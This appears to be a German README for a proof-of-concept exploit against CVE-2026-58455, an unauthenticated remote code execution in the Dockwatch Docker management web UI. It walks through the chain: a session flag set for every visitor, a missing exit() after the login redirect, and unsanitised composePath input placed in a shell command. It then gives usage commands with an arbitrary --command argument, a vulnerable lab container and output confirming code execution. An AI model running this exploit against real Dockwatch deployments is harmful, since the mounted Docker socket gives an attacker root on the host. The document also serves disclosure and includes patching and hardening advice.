
PoC für CVE-2026-58455: Dockwatch <=0.6.567 nicht authentifiziertes RCE. Nur Python-Standardbibliothek.
Proof-of-Concept für CVE-2026-58455: nicht authentifizierte Remote-Codeausführung in Dockwatch (von Notifiarr), einer selbst gehosteten Docker-Container-Management-Web-UI. Betrifft alle Versionen bis einschließlich 0.6.567.
Drei Schwachstellen, die zusammen ausgenutzt werden:
GET /includes/header.php führt
$_SESSION['IN_DOCKWATCH'] = true; für jeden Besucher aus. Die AJAX-Schicht
(ajax/shared.php) prüft nur dieses Flag.exit()-Aufruf nach Auth-Redirect — loader.php sendet einen
Location: login.php-Header, wenn $_SESSION['authenticated'] falsch ist, beendet die
Ausführung jedoch nicht, sodass der Rest der Anfrage weiterläuft.ajax/compose.php (m=composePull) erstellt einen Shell-Befehl
mit nicht bereinigtem Input:
$cmd = 'cd ' . $_POST['composePath'] . ' && docker-compose pull';
$pull = $shell->exec($cmd . ' 2>&1');
Verkettung: Ein nicht authentifizierter Remote-Angreifer führt beliebige OS-Befehle als
Web-Server-Benutzer innerhalb des Containers aus. Typische Bereitstellungen mounten /var/run/docker.sock in den
Container → gleichbedeutend mit Root auf dem Host.
python3 dockwatch_rce_poc.py --url http://HOST:PORT --command "id; hostname"
python3 dockwatch_rce_poc.py --url http://localhost:8888 # defaults
Nur Python-3-Standardbibliothek.
docker run -d --name dockwatch-lab -p 8888:80 \
-v /var/run/docker.sock:/var/run/docker.sock \
ghcr.io/notifiarr/dockwatch:v0.6.567
$ python3 dockwatch_rce_poc.py --url http://localhost:8888 --command "id; hostname"
[+] Dockwatch fingerprint confirmed (200) <title>Dockwatch</title>
[+] Session primed (IN_DOCKWATCH flag set)
[*] ajax/compose.php responded HTTP 200, 100 bytes
[+] Command output recovered:
uid=911(abc) gid=911(abc) groups=911(abc),281(unraiddocker),992(groupls7j),1000(users)
=> PASS (RCE confirmed)
Aktualisieren Sie Dockwatch auf eine Version neuer als 0.6.567. Als Absicherung sollten Sie Dockwatch nicht gegenüber nicht vertrauenswürdigen Netzwerken exponieren und das Docker-Socket-Binding entfernen, falls es nicht benötigt wird.
Nur für autorisierte Sicherheitsforschung und den Einsatz im Labor.